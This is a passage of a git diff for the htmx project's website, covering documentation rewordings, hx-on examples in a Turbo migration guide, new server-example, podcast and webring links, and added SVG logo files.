+* `hx-swap` - You can control the swap strategy by using the [hx-swap](@/attributes/hx-swap.md) attribute, though note that modifiers like `scroll` are not supported.
* `hx-trigger="sse:<message-name>"` - SSE messages can also trigger HTTP callbacks using the [`hx-trigger`](@/attributes/hx-trigger.md) attribute.
## Install
diff --git a/www/content/migration-guide-hotwire-turbo.md b/www/content/migration-guide-hotwire-turbo.md
index 8956223a..4f945799 100644
--- a/www/content/migration-guide-hotwire-turbo.md
+++ b/www/content/migration-guide-hotwire-turbo.md
@@ -10,7 +10,7 @@ The purpose of this guide is to provide common practices for "Hotwire Equivalent
## Turbo Drive
* `<body hx-boost="true">` to enable a Turbo Drive-like experience. See: [hx-boost](@/attributes/hx-boost.md)
-* As with Turbo Drive, if the user does not have javascript enabled, the site will continue to work. See: [Progressive Enhancement](https://en.wikipedia.org/wiki/Progressive_enhancement)
+* As with Turbo Drive, if the user has javascript disabled, `hx-boost` will continue to work. See: [Progressive Enhancement](https://en.wikipedia.org/wiki/Progressive_enhancement)
* `hx-boost="false"` is equivalent to `data-turbo="false"` and used to disable boost on specific links or forms. See: [Handbook](https://turbo.hotwired.dev/handbook/drive#disabling-turbo-drive-on-specific-links-or-forms)
* Redirect after form submission (302, 303, 307, 3xx) `hx-target="body" hx-swap="outerHTML" hx-push-url="true"` See: [Handbook](https://turbo.hotwired.dev/handbook/drive#redirecting-after-a-form-submission)
* Disable buttons on form submission See: [Handbook](https://turbo.hotwired.dev/handbook/drive#form-submissions)
@@ -23,12 +23,21 @@ addEventListener("htmx:afterOnLoad", (event) => {
event.target.querySelectorAll("button").forEach(node => { node.disabled = false })
})
```
+* Or, [hx-on](@/attributes/hx-on.md) may be used:
+ * `hx-on:submit= 'event.target.querySelectorAll("button").forEach(node => { node.disabled = true })'`
+ * `hx-on:htmx:afterOnLoad= 'event.target.querySelectorAll("button").forEach(node => { node.disabled = false })'`
* Or, [hyperscript](https://hyperscript.org) may be used: `_="on submit toggle @disabled <button/> in me until htmx:afterOnLoad"` See: [Cookbook](https://hyperscript.org/cookbook/)
## Turbo Frames
+* htmx combines all ideas of "Turbo Frames" into the base attributes. No `<turbo-frame>` required.
* Lazy loading: `hx-trigger="load, submit"` See: [Handbook](https://turbo.hotwired.dev/reference/frames#lazy-loaded-frame)
+## Turbo Streams
+
+* htmx combines all ideas of "Turbo Streams" into the base attributes. No `<turbo-stream>`, no `<template>` required.
+* Note: Turbo Streams can perform many actions anywhere on a page (similar to [hx-select-oob](@/attributes/hx-select-oob.md) and [hx-swap-oob](@/attributes/hx-swap-oob.md)) while Turbo Frames only update what is wrapped within `<turbo-frame> .. </turbo-frame>`
+
## Events
* Intercepting or Pausing Events. `htmx:config-request` is equivalent to `turbo:before-fetch-request` See: [Handbook](https://turbo.hotwired.dev/handbook/drive#pausing-requests)
@@ -40,11 +49,14 @@ document.body.addEventListener('htmx:configRequest', (event) => {
})
```
-* Or, a condition call may be used: `hx-trigger="submit[action(target)]"` See: [hx-trigger](@/attributes/hx-trigger.md)
- * Does not currently resolve async calls such as `fetch`. See: https://github.com/bigskysoftware/htmx/issues/912
-* Or, [hyperscript](https://hyperscript.org) may be used: `_="on submit halt the event action(target) trigger ready"` `hx-trigger="ready"`
+* Or, use an [hx-trigger](@/attributes/hx-trigger.md) condition: `hx-trigger="submit[action(target)]"`
+ * Does not currently resolve async calls. See [issue](https://github.com/bigskysoftware/htmx/issues/912)
+* Or, use [hx-on](@/attributes/hx-on.md): `hx-on:click="event.preventDefault(); action(this); htmx.trigger(this, 'ready')"` `hx-trigger="ready"`
+* Or, use [hyperscript](https://hyperscript.org): `_="on submit halt the event action(target) trigger ready"` `hx-trigger="ready"`
* Will resolve async calls such as `fetch`. See: [async transparency](https://hyperscript.org/docs/#async)
## Stimulus
+* [hx-on](@/attributes/hx-on.md) provides an inline, vanilla substitute for a wide variety of use cases.
* [hyperscript](https://hyperscript.org) is a close analogue and an official companion project to htmx, but the two projects are entirely separated and can be used exclusively from each other or any other library.
+* For other options, see: [htmx: Scripting](/docs/#scripting)
diff --git a/www/content/posts/2023-09-22-htmx-1.9.6-is-released.md b/www/content/posts/2023-09-22-htmx-1.9.6-is-released.md
index c6f3f1be..c529a097 100644
--- a/www/content/posts/2023-09-22-htmx-1.9.6-is-released.md
+++ b/www/content/posts/2023-09-22-htmx-1.9.6-is-released.md
@@ -12,7 +12,7 @@ I'm happy to announce the [1.9.6 release](https://unpkg.com/browse/htmx.org@1.9.
### New Features
* IE support has been restored (thank you @telroshan!)
-* Introduced the `hx-disabled-elt` attribute to allow specifing elements to disable during a request
+* Introduced the `hx-disabled-elt` attribute to allow specifying elements to disable during a request
* You can now explicitly decide to ignore `title` tags found in new content via the `ignoreTitle` option in `hx-swap` and the `htmx.config.ignoreTitle` configuration variable.
* `hx-swap` modifiers may be used without explicitly specifying the swap mechanism
* Arrays are now supported in the `client-side-templates` extension
diff --git a/www/content/reference.md b/www/content/reference.md
index 7e10a97b..a50d6cf6 100644
--- a/www/content/reference.md
+++ b/www/content/reference.md
@@ -16,35 +16,35 @@ title = "Reference"
## Core Attribute Reference {#attributes}
-The following are the most common attributes when using htmx.
+The most common attributes when using htmx.
<div class="info-table">
| Attribute | Description |
|--------------------------------------------------|--------------------------------------------------------------------------------------------------------------------|
-| [`hx-boost`](@/attributes/hx-boost.md) | add or remove [progressive enhancement](https://en.wikipedia.org/wiki/Progressive_enhancement) for links and forms |
| [`hx-get`](@/attributes/hx-get.md) | issues a `GET` to the specified URL |
| [`hx-post`](@/attributes/hx-post.md) | issues a `POST` to the specified URL |
-| [`hx-on*`](@/attributes/hx-on.md) | handle events with a inline scripts on elements |
-| [`hx-push-url`](@/attributes/hx-push-url.md) | pushes the URL into the browser location bar, creating a new history entry |
+| [`hx-on*`](@/attributes/hx-on.md) | handle events with inline scripts on elements |
+| [`hx-push-url`](@/attributes/hx-push-url.md) | push a URL into the browser location bar to create history |
| [`hx-select`](@/attributes/hx-select.md) | select content to swap in from a response |
-| [`hx-select-oob`](@/attributes/hx-select-oob.md) | select content to swap in from a response, out of band (somewhere other than the target) |
-| [`hx-swap`](@/attributes/hx-swap.md) | controls how content is swapped in (`outerHTML`, `beforeend`, `afterend`, ...) |
-| [`hx-swap-oob`](@/attributes/hx-swap-oob.md) | marks content in a response to be out of band (should swap in somewhere other than the target) |
+| [`hx-select-oob`](@/attributes/hx-select-oob.md) | select content to swap in from a response, somewhere other than the target (out of band) |
+| [`hx-swap`](@/attributes/hx-swap.md) | controls how content will swap in (`outerHTML`, `beforeend`, `afterend`, ...) |
+| [`hx-swap-oob`](@/attributes/hx-swap-oob.md) | mark element to swap in from a response (out of band) |
| [`hx-target`](@/attributes/hx-target.md) | specifies the target element to be swapped |
| [`hx-trigger`](@/attributes/hx-trigger.md) | specifies the event that triggers the request |
-| [`hx-vals`](@/attributes/hx-vals.md) | adds values to the parameters to submit with the request (JSON-formatted) |
+| [`hx-vals`](@/attributes/hx-vals.md) | add values to submit with the request (JSON format) |
</div>
## Additional Attribute Reference {#attributes-additional}
-The table below lists all other attributes available in htmx.
+All other attributes available in htmx.
<div class="info-table">
| Attribute | Description |
|------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------|
+| [`hx-boost`](@/attributes/hx-boost.md) | add [progressive enhancement](https://en.wikipedia.org/wiki/Progressive_enhancement) for links and forms |
| [`hx-confirm`](@/attributes/hx-confirm.md) | shows a `confirm()` dialog before issuing a request |
| [`hx-delete`](@/attributes/hx-delete.md) | issues a `DELETE` to the specified URL |
| [`hx-disable`](@/attributes/hx-disable.md) | disables htmx processing for the given node and any children nodes |
diff --git a/www/content/server-examples.md b/www/content/server-examples.md
index 9c6f6931..fdc27d7c 100644
--- a/www/content/server-examples.md
+++ b/www/content/server-examples.md
@@ -49,6 +49,7 @@ These examples may make it a bit easier to get started using htmx with your plat
- <https://github.com/edmondchuc/flask-htmx>
- <https://github.com/cscortes/htmxflask>
+- <https://github.com/Konfuzian/htmx-examples-with-flask/>
### py4web
@@ -114,6 +115,11 @@ These examples may make it a bit easier to get started using htmx with your plat
- <https://github.com/libsyz/htmx-to-do-app>
- <https://github.com/beechnut/pokebutt-htmx>
+## Scala
+
+### http4s
+- <https://github.com/martinprobson/http4s-htmx-demo>
+
## Kotlin
### Ktor
@@ -158,6 +164,12 @@ These examples may make it a bit easier to get started using htmx with your plat
- <https://github.com/lorantkurthy/todo-htmex>
+## F#
+
+### Giraffe
+
+- <https://hamy.xyz/labs/2023-12-fsharp-htmx>
+
## Go
### templ
diff --git a/www/content/talk/podcasts.csv b/www/content/talk/podcasts.csv
index 25ea3c4b..1ef336fb 100644
--- a/www/content/talk/podcasts.csv
+++ b/www/content/talk/podcasts.csv
@@ -20,3 +20,6 @@ GitHub - Accelerator: Open Source Demo Day,https://www.youtube.com/watch?v=Gj6Be
Unfiltered Build - The HOWL stack is your new tech stack,https://podcast.unfilteredbuild.com/episodes/ep24-howl-stack-and-htmx-carson-gross/
FrontendRheinMain - htmx: Building modern web applications without JS,https://www.youtube.com/watch?v=Jodkvyo5DbA
PodRocket by LogRocket,https://podrocket.logrocket.com/htmx-carson-gross
+Backend Banter - Behind htmx: the re-Rise of Hypermedia,https://www.backendbanter.fm/episodes/024-behind-htmx-carson-gross-on-the-re-rise-of-hypermedia
+Syntax - htmx Web Apps,https://syntax.fm/show/734/htmx-web-apps-with-carson-gross
+PodRocket - htmx v2,https://podrocket.logrocket.com/htmx-v2-carson-gross
diff --git a/www/content/webring.md b/www/content/webring.md
index bfb846e7..35a57a30 100644
--- a/www/content/webring.md
+++ b/www/content/webring.md
@@ -107,6 +107,8 @@ title = "htmx webring"
<tr><td><a rel="nofollow" target="_blank" href="https://xrss.infogulch.com">XRSS</a></td><td>A simple RSS reader inspired by Google Reader</td></tr>
<tr><td><a rel="nofollow" target="_blank" href="https://openunited.com/">OpenUnited</a></td><td>A Digital Talent match-making platform</td></tr>
<tr><td><a rel="nofollow" target="_blank" href="https://gophemeral.com">Gophemeral</a></td><td>Share secrets securely!</td></tr>
+ <tr><td><a rel="nofollow" target="_blank" href="https://signup.casa">Signup Casa</a></td><td>Simple, convenient sign-up forms.</td></tr>
+ <tr><td><a rel="nofollow" target="_blank" href="https://recipes.musicavis.ca">Recipya</a></td><td>A clean, simple and powerful recipe manager your whole family can enjoy.</td></tr>
</tbody>
</table>
</div>
diff --git a/www/static/img/bss-logo.png b/www/static/img/bss-logo.png
new file mode 100644
index 00000000..321b6871
--- /dev/null
+++ b/www/static/img/bss-logo.png
Binary files differ
diff --git a/www/static/img/codacy.svg b/www/static/img/codacy.svg
new file mode 100644
index 00000000..a6e60fef
--- /dev/null
+++ b/www/static/img/codacy.svg
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" width="447.34" height="184.98" viewBox="0 0 447.34 184.98">
+ <g>
+ <path d="m42.53,82.36c2.74-10.15,9.4-18.81,18.51-24.07l-8.52-14.72c-13.01,7.51-22.5,19.88-26.41,34.38l16.43,4.4Z" style="fill: #1a1a1a;"/>
+ <path d="m70.61,54.32c3.34-.89,6.79-1.34,10.25-1.34v-16.99c-4.95,0-9.87.63-14.65,1.9l4.4,16.43Z" style="fill: #1a1a1a;"/>
+ <path d="m91.19,54.34c10.14,2.75,18.78,9.4,24.03,18.51l14.73-8.5c-7.51-13-19.87-22.5-34.36-26.41l-4.4,16.41Z" style="fill: #1a1a1a;"/>
+ <path d="m24.18,92.64c0,4.94.64,9.87,1.91,14.64l16.43-4.39c-.9-3.34-1.35-6.79-1.34-10.25h-17Z" style="fill: #1a1a1a;"/>
+ <path d="m31.76,120.98c2.47,4.27,5.49,8.21,8.99,11.7l12.07-12c-2.45-2.45-4.57-5.21-6.31-8.2l-14.75,8.5Z" style="fill: #1a1a1a;"/>
+ <path d="m52.51,141.7c8.6,4.98,18.36,7.6,28.3,7.58v-16.99c-6.95,0-13.78-1.83-19.79-5.31l-8.5,14.72Z" style="fill: #1a1a1a;"/>
+ <path d="m115.21,112.51c-5.27,9.08-13.93,15.71-24.07,18.43l4.4,16.43c14.5-3.9,26.86-13.38,34.4-26.36l-14.72-8.5Z" style="fill: #1a1a1a;"/>
+ <path d="m136.3,107.25c2.62-9.61,2.66-19.75.13-29.38l-16.48,4.4c1.77,6.75,1.73,13.84-.11,20.57l16.46,4.41Z" style="fill: #1a1a1a;"/>
+ </g>
+ <g>
+ <path d="m203.57,86.51c-2-5.07-6.38-8.07-11.2-8.07-7.38,0-12.39,6.32-12.39,13.52s5.13,13.77,12.45,13.77c4.69,0,8.7-2.63,11.14-7.82h12.39c-2.88,11.14-12.45,18.21-23.41,18.21-6.45,0-12.52-2.25-17.27-6.95-5.01-4.88-7.13-10.76-7.13-17.77,0-12.27,10.58-23.34,23.85-23.34,6.38,0,11.52,1.75,16.15,5.7,4.38,3.76,7.01,8.01,7.82,12.77h-12.39Z" style="fill: #1a1a1a;"/>
+ <path d="m238.75,116.3c-10.58,0-18.71-7.82-18.71-18.46s8.32-18.46,18.71-18.46,18.71,7.82,18.71,18.34-8.26,18.59-18.71,18.59Zm8.32-18.46c0-4.63-3.5-8.76-8.39-8.76-4.57,0-8.26,4.01-8.26,8.76s3.63,8.76,8.32,8.76,8.32-4.13,8.32-8.76Z" style="fill: #1a1a1a;"/>
+ <path d="m289.64,115.23v-3.76h-.12c-1.94,3.19-5.45,4.88-10.39,4.88-10.51,0-17.4-8.07-17.4-18.59s7.07-18.46,17.21-18.46c4.01,0,7.26,1.19,10.2,4.13v-14.52h10.39v46.31h-9.89Zm.06-17.52c0-4.82-3.69-8.7-8.83-8.7s-8.76,3.63-8.76,8.7,3.69,8.95,8.7,8.95,8.89-3.82,8.89-8.95Z" style="fill: #1a1a1a;"/>
+ <path d="m333.14,115.23v-3.76h-.12c-1.5,3.07-5.63,4.94-10.2,4.94-10.26,0-17.4-8.07-17.4-18.59s7.45-18.52,17.4-18.52c4.26,0,8.2,1.69,10.2,4.88h.12v-3.69h10.39v34.73h-10.39Zm0-17.4c0-4.88-3.94-8.82-8.82-8.82s-8.51,3.94-8.51,8.95,3.82,8.76,8.63,8.76,8.7-3.88,8.7-8.89Z" style="fill: #1a1a1a;"/>
+ <path d="m375.64,93.89c-1.5-3.25-4.2-4.88-7.76-4.88-4.76,0-8.01,3.94-8.01,8.82s3.44,8.82,8.26,8.82c3.5,0,5.94-1.63,7.51-4.63h10.57c-2.06,8.7-9.51,14.33-18.4,14.33-10.26,0-18.4-8.32-18.4-18.59s8.2-18.46,18.21-18.46c9.14,0,16.58,5.76,18.52,14.58h-10.51Z" style="fill: #1a1a1a;"/>
+ <path d="m394.36,126.81l5.51-13.33-12.89-32.98h11.08l6.95,20.15h.12l6.64-20.15h11.01l-17.4,46.31h-11.01Z" style="fill: #1a1a1a;"/>
+ </g>
+</svg> \ No newline at end of file
diff --git a/www/static/img/codereviewbot.svg b/www/static/img/codereviewbot.svg
new file mode 100644
index 00000000..50004cff
--- /dev/null
+++ b/www/static/img/codereviewbot.svg
@@ -0,0 +1,22 @@
+<svg width="501" height="55" viewBox="0 0 501 55" fill="none" xmlns="http://www.w3.org/2000/svg">
+<path d="M120.064 44.576C117.472 44.576 115.056 44.16 112.816 43.328C110.608 42.464 108.688 41.248 107.056 39.68C105.424 38.112 104.144 36.272 103.216 34.16C102.32 32.048 101.872 29.728 101.872 27.2C101.872 24.672 102.32 22.352 103.216 20.24C104.144 18.128 105.424 16.288 107.056 14.72C108.72 13.152 110.656 11.952 112.864 11.12C115.072 10.256 117.488 9.824 120.112 9.824C123.024 9.824 125.648 10.336 127.984 11.36C130.352 12.352 132.336 13.824 133.936 15.776L128.944 20.384C127.792 19.072 126.512 18.096 125.104 17.456C123.696 16.784 122.16 16.448 120.496 16.448C118.928 16.448 117.488 16.704 116.176 17.216C114.864 17.728 113.728 18.464 112.768 19.424C111.808 20.384 111.056 21.52 110.512 22.832C110 24.144 109.744 25.6 109.744 27.2C109.744 28.8 110 30.256 110.512 31.568C111.056 32.88 111.808 34.016 112.768 34.976C113.728 35.936 114.864 36.672 116.176 37.184C117.488 37.696 118.928 37.952 120.496 37.952C122.16 37.952 123.696 37.632 125.104 36.992C126.512 36.32 127.792 35.312 128.944 33.968L133.936 38.576C132.336 40.528 130.352 42.016 127.984 43.04C125.648 44.064 123.008 44.576 120.064 44.576Z" fill="black"/>
+<path d="M150.056 44.384C147.304 44.384 144.856 43.808 142.712 42.656C140.6 41.504 138.92 39.936 137.672 37.952C136.456 35.936 135.848 33.648 135.848 31.088C135.848 28.496 136.456 26.208 137.672 24.224C138.92 22.208 140.6 20.64 142.712 19.52C144.856 18.368 147.304 17.792 150.056 17.792C152.776 17.792 155.208 18.368 157.352 19.52C159.496 20.64 161.176 22.192 162.392 24.176C163.608 26.16 164.216 28.464 164.216 31.088C164.216 33.648 163.608 35.936 162.392 37.952C161.176 39.936 159.496 41.504 157.352 42.656C155.208 43.808 152.776 44.384 150.056 44.384ZM150.056 38.24C151.304 38.24 152.424 37.952 153.416 37.376C154.408 36.8 155.192 35.984 155.768 34.928C156.344 33.84 156.632 32.56 156.632 31.088C156.632 29.584 156.344 28.304 155.768 27.248C155.192 26.192 154.408 25.376 153.416 24.8C152.424 24.224 151.304 23.936 150.056 23.936C148.808 23.936 147.688 24.224 146.696 24.8C145.704 25.376 144.904 26.192 144.296 27.248C143.72 28.304 143.432 29.584 143.432 31.088C143.432 32.56 143.72 33.84 144.296 34.928C144.904 35.984 145.704 36.8 146.696 37.376C147.688 37.952 148.808 38.24 150.056 38.24Z" fill="black"/>
+<path d="M180.31 44.384C177.878 44.384 175.686 43.84 173.734 42.752C171.782 41.632 170.23 40.08 169.078 38.096C167.958 36.112 167.398 33.776 167.398 31.088C167.398 28.368 167.958 26.016 169.078 24.032C170.23 22.048 171.782 20.512 173.734 19.424C175.686 18.336 177.878 17.792 180.31 17.792C182.486 17.792 184.39 18.272 186.022 19.232C187.654 20.192 188.918 21.648 189.814 23.6C190.71 25.552 191.158 28.048 191.158 31.088C191.158 34.096 190.726 36.592 189.862 38.576C188.998 40.528 187.75 41.984 186.118 42.944C184.518 43.904 182.582 44.384 180.31 44.384ZM181.606 38.24C182.822 38.24 183.926 37.952 184.918 37.376C185.91 36.8 186.694 35.984 187.27 34.928C187.878 33.84 188.182 32.56 188.182 31.088C188.182 29.584 187.878 28.304 187.27 27.248C186.694 26.192 185.91 25.376 184.918 24.8C183.926 24.224 182.822 23.936 181.606 23.936C180.358 23.936 179.238 24.224 178.246 24.8C177.254 25.376 176.454 26.192 175.846 27.248C175.27 28.304 174.982 29.584 174.982 31.088C174.982 32.56 175.27 33.84 175.846 34.928C176.454 35.984 177.254 36.8 178.246 37.376C179.238 37.952 180.358 38.24 181.606 38.24ZM188.374 44V38.72L188.518 31.04L188.038 23.408V8.384H195.526V44H188.374Z" fill="black"/>
+<path d="M215.272 44.384C212.328 44.384 209.736 43.808 207.496 42.656C205.288 41.504 203.576 39.936 202.36 37.952C201.144 35.936 200.536 33.648 200.536 31.088C200.536 28.496 201.128 26.208 202.312 24.224C203.528 22.208 205.176 20.64 207.256 19.52C209.336 18.368 211.688 17.792 214.312 17.792C216.84 17.792 219.112 18.336 221.128 19.424C223.176 20.48 224.792 22.016 225.976 24.032C227.16 26.016 227.752 28.4 227.752 31.184C227.752 31.472 227.736 31.808 227.704 32.192C227.672 32.544 227.64 32.88 227.608 33.2H206.632V28.832H223.672L220.792 30.128C220.792 28.784 220.52 27.616 219.976 26.624C219.432 25.632 218.68 24.864 217.72 24.32C216.76 23.744 215.64 23.456 214.36 23.456C213.08 23.456 211.944 23.744 210.952 24.32C209.992 24.864 209.24 25.648 208.696 26.672C208.152 27.664 207.88 28.848 207.88 30.224V31.376C207.88 32.784 208.184 34.032 208.792 35.12C209.432 36.176 210.312 36.992 211.432 37.568C212.584 38.112 213.928 38.384 215.464 38.384C216.84 38.384 218.04 38.176 219.064 37.76C220.12 37.344 221.08 36.72 221.944 35.888L225.928 40.208C224.744 41.552 223.256 42.592 221.464 43.328C219.672 44.032 217.608 44.384 215.272 44.384Z" fill="black"/>
+<path d="M233.265 44V10.4H247.809C250.817 10.4 253.409 10.896 255.585 11.888C257.761 12.848 259.441 14.24 260.625 16.064C261.809 17.888 262.401 20.064 262.401 22.592C262.401 25.088 261.809 27.248 260.625 29.072C259.441 30.864 257.761 32.24 255.585 33.2C253.409 34.16 250.817 34.64 247.809 34.64H237.585L241.041 31.232V44H233.265ZM254.625 44L246.225 31.808H254.529L263.025 44H254.625ZM241.041 32.096L237.585 28.448H247.377C249.777 28.448 251.569 27.936 252.753 26.912C253.937 25.856 254.529 24.416 254.529 22.592C254.529 20.736 253.937 19.296 252.753 18.272C251.569 17.248 249.777 16.736 247.377 16.736H237.585L241.041 13.04V32.096Z" fill="black"/>
+<path d="M280.85 44.384C277.906 44.384 275.314 43.808 273.074 42.656C270.866 41.504 269.154 39.936 267.938 37.952C266.722 35.936 266.114 33.648 266.114 31.088C266.114 28.496 266.706 26.208 267.89 24.224C269.106 22.208 270.754 20.64 272.834 19.52C274.914 18.368 277.266 17.792 279.89 17.792C282.418 17.792 284.69 18.336 286.706 19.424C288.754 20.48 290.37 22.016 291.554 24.032C292.738 26.016 293.33 28.4 293.33 31.184C293.33 31.472 293.314 31.808 293.282 32.192C293.25 32.544 293.218 32.88 293.186 33.2H272.21V28.832H289.25L286.37 30.128C286.37 28.784 286.098 27.616 285.554 26.624C285.01 25.632 284.258 24.864 283.298 24.32C282.338 23.744 281.218 23.456 279.938 23.456C278.658 23.456 277.522 23.744 276.53 24.32C275.57 24.864 274.818 25.648 274.274 26.672C273.73 27.664 273.458 28.848 273.458 30.224V31.376C273.458 32.784 273.762 34.032 274.37 35.12C275.01 36.176 275.89 36.992 277.01 37.568C278.162 38.112 279.506 38.384 281.042 38.384C282.418 38.384 283.618 38.176 284.642 37.76C285.698 37.344 286.658 36.72 287.522 35.888L291.506 40.208C290.322 41.552 288.834 42.592 287.042 43.328C285.25 44.032 283.186 44.384 280.85 44.384Z" fill="black"/>
+<path d="M304.855 44L294.007 18.176H301.735L310.759 40.4H306.919L316.279 18.176H323.479L312.583 44H304.855Z" fill="black"/>
+<path d="M326.534 44V18.176H334.022V44H326.534ZM330.278 14.576C328.902 14.576 327.782 14.176 326.918 13.376C326.054 12.576 325.622 11.584 325.622 10.4C325.622 9.216 326.054 8.224 326.918 7.424C327.782 6.624 328.902 6.224 330.278 6.224C331.654 6.224 332.774 6.608 333.638 7.376C334.502 8.112 334.934 9.072 334.934 10.256C334.934 11.504 334.502 12.544 333.638 13.376C332.806 14.176 331.686 14.576 330.278 14.576Z" fill="black"/>
+<path d="M353.788 44.384C350.844 44.384 348.252 43.808 346.012 42.656C343.804 41.504 342.092 39.936 340.876 37.952C339.66 35.936 339.052 33.648 339.052 31.088C339.052 28.496 339.644 26.208 340.828 24.224C342.044 22.208 343.692 20.64 345.772 19.52C347.852 18.368 350.204 17.792 352.828 17.792C355.356 17.792 357.628 18.336 359.644 19.424C361.692 20.48 363.308 22.016 364.492 24.032C365.676 26.016 366.268 28.4 366.268 31.184C366.268 31.472 366.252 31.808 366.22 32.192C366.188 32.544 366.156 32.88 366.124 33.2H345.148V28.832H362.188L359.308 30.128C359.308 28.784 359.036 27.616 358.492 26.624C357.948 25.632 357.196 24.864 356.236 24.32C355.276 23.744 354.156 23.456 352.876 23.456C351.596 23.456 350.46 23.744 349.468 24.32C348.508 24.864 347.756 25.648 347.212 26.672C346.668 27.664 346.396 28.848 346.396 30.224V31.376C346.396 32.784 346.7 34.032 347.308 35.12C347.948 36.176 348.828 36.992 349.948 37.568C351.1 38.112 352.444 38.384 353.98 38.384C355.356 38.384 356.556 38.176 357.58 37.76C358.636 37.344 359.596 36.72 360.46 35.888L364.444 40.208C363.26 41.552 361.772 42.592 359.98 43.328C358.188 44.032 356.124 44.384 353.788 44.384Z" fill="black"/>
+<path d="M376.688 44L367.376 18.176H374.432L382.16 40.4H378.8L386.864 18.176H393.2L401.024 40.4H397.664L405.632 18.176H412.256L402.896 44H395.648L388.784 24.944H390.992L383.888 44H376.688Z" fill="black"/>
+<path d="M416.265 44V10.4H432.681C436.905 10.4 440.073 11.2 442.185 12.8C444.329 14.4 445.401 16.512 445.401 19.136C445.401 20.896 444.969 22.432 444.105 23.744C443.241 25.024 442.057 26.016 440.553 26.72C439.049 27.424 437.321 27.776 435.369 27.776L436.281 25.808C438.393 25.808 440.265 26.16 441.897 26.864C443.529 27.536 444.793 28.544 445.689 29.888C446.617 31.232 447.081 32.88 447.081 34.832C447.081 37.712 445.945 39.968 443.673 41.6C441.401 43.2 438.057 44 433.641 44H416.265ZM423.993 38.144H433.065C435.081 38.144 436.601 37.824 437.625 37.184C438.681 36.512 439.209 35.456 439.209 34.016C439.209 32.608 438.681 31.568 437.625 30.896C436.601 30.192 435.081 29.84 433.065 29.84H423.417V24.176H431.721C433.609 24.176 435.049 23.856 436.041 23.216C437.065 22.544 437.577 21.536 437.577 20.192C437.577 18.88 437.065 17.904 436.041 17.264C435.049 16.592 433.609 16.256 431.721 16.256H423.993V38.144Z" fill="black"/>
+<path d="M464.728 44.384C461.976 44.384 459.528 43.808 457.384 42.656C455.272 41.504 453.592 39.936 452.344 37.952C451.128 35.936 450.52 33.648 450.52 31.088C450.52 28.496 451.128 26.208 452.344 24.224C453.592 22.208 455.272 20.64 457.384 19.52C459.528 18.368 461.976 17.792 464.728 17.792C467.448 17.792 469.88 18.368 472.024 19.52C474.168 20.64 475.848 22.192 477.064 24.176C478.28 26.16 478.888 28.464 478.888 31.088C478.888 33.648 478.28 35.936 477.064 37.952C475.848 39.936 474.168 41.504 472.024 42.656C469.88 43.808 467.448 44.384 464.728 44.384ZM464.728 38.24C465.976 38.24 467.096 37.952 468.088 37.376C469.08 36.8 469.864 35.984 470.44 34.928C471.016 33.84 471.304 32.56 471.304 31.088C471.304 29.584 471.016 28.304 470.44 27.248C469.864 26.192 469.08 25.376 468.088 24.8C467.096 24.224 465.976 23.936 464.728 23.936C463.48 23.936 462.36 24.224 461.368 24.8C460.376 25.376 459.576 26.192 458.968 27.248C458.392 28.304 458.104 29.584 458.104 31.088C458.104 32.56 458.392 33.84 458.968 34.928C459.576 35.984 460.376 36.8 461.368 37.376C462.36 37.952 463.48 38.24 464.728 38.24Z" fill="black"/>
+<path d="M494.454 44.384C491.413 44.384 489.046 43.616 487.35 42.08C485.653 40.512 484.805 38.192 484.805 35.12V12.464H492.294V35.024C492.294 36.112 492.581 36.96 493.157 37.568C493.733 38.144 494.518 38.432 495.51 38.432C496.693 38.432 497.701 38.112 498.533 37.472L500.549 42.752C499.781 43.296 498.854 43.712 497.765 44C496.709 44.256 495.606 44.384 494.454 44.384ZM480.821 24.512V18.752H498.726V24.512H480.821Z" fill="black"/>
+<path d="M78.7443 35.2008C78.6204 36.7233 78.641 38.2746 78.3449 39.763C77.5155 43.9319 75.2842 47.2473 71.8542 49.766C68.8403 51.9793 65.4377 52.9803 61.727 52.9827C50.0915 52.9902 38.4561 52.9957 26.8207 52.9761C20.1295 52.9648 13.9726 48.8604 11.4776 42.7332C10.541 40.433 10.0396 38.0251 10.2047 35.3704C10.2108 31.1459 10.2121 27.0673 10.2059 22.9887C10.205 22.3818 10.1687 21.775 10.1488 21.1682C10.303 19.2757 10.2829 17.3488 10.6494 15.4981C11.3204 12.1093 13.0851 9.28513 15.6761 6.9733C18.3214 4.6131 21.3805 3.16316 24.8973 2.69138C25.499 2.61067 26.1103 2.56566 26.7172 2.56489C38.3181 2.55029 49.9191 2.51554 61.5198 2.54934C67.6128 2.5671 72.498 5.06683 75.9674 10.0897C78.1166 13.2013 78.862 16.7479 78.7328 20.4951C78.7246 20.7327 78.7313 20.9708 78.7073 21.3349C78.6774 25.9415 78.6708 30.4219 78.6686 34.9024C78.6685 35.0018 78.718 35.1013 78.7443 35.2008Z" fill="#FCFAFA"/>
+<path d="M81.0954 35.7651C80.9627 37.3967 80.9848 39.059 80.6678 40.654C79.7799 45.1213 77.3914 48.6739 73.7197 51.3729C70.4932 53.7446 66.8509 54.8172 62.8785 54.8198C50.423 54.8279 37.9675 54.8338 25.512 54.8128C18.3491 54.8007 11.7583 50.4025 9.08742 43.8368C8.08475 41.3719 7.54802 38.7916 7.72476 35.9469C7.73125 31.4201 7.73267 27.0495 7.72604 22.679C7.72505 22.0287 7.68621 21.3785 7.66488 20.7282C7.82999 18.7003 7.80852 16.6355 8.20077 14.6523C8.91905 11.0209 10.8081 7.99461 13.5818 5.51731C16.4135 2.98818 19.6882 1.43446 23.453 0.928918C24.0971 0.84243 24.7514 0.79419 25.4011 0.793372C37.8197 0.777724 50.2384 0.740485 62.6568 0.776709C69.1792 0.795735 74.4088 3.47439 78.1227 8.85682C80.4234 12.1911 81.2214 15.9915 81.0831 20.0069C81.0743 20.2615 81.0815 20.5167 81.0557 20.9068C81.0238 25.8431 81.0167 30.6443 81.0143 35.4454C81.0142 35.552 81.0672 35.6586 81.0954 35.7651ZM55.9662 8.88438C46.2968 8.88431 36.6273 8.88091 26.9579 8.88647C24.4709 8.8879 22.1023 9.35275 20.0393 10.8442C17.1796 12.9116 15.8553 15.7812 15.8315 19.2477C15.7938 24.7303 15.7945 30.2136 15.8438 35.6959C15.8555 36.9851 16.0176 38.2964 16.3012 39.5546C16.8308 41.9047 18.2783 43.662 20.2669 44.9693C22.1287 46.1932 24.2199 46.6413 26.4229 46.6413C38.5951 46.6412 50.7677 46.6946 62.9394 46.6128C68.1639 46.5776 72.6917 42.9166 72.7943 36.9833C72.9003 30.8489 72.9066 24.7095 72.7861 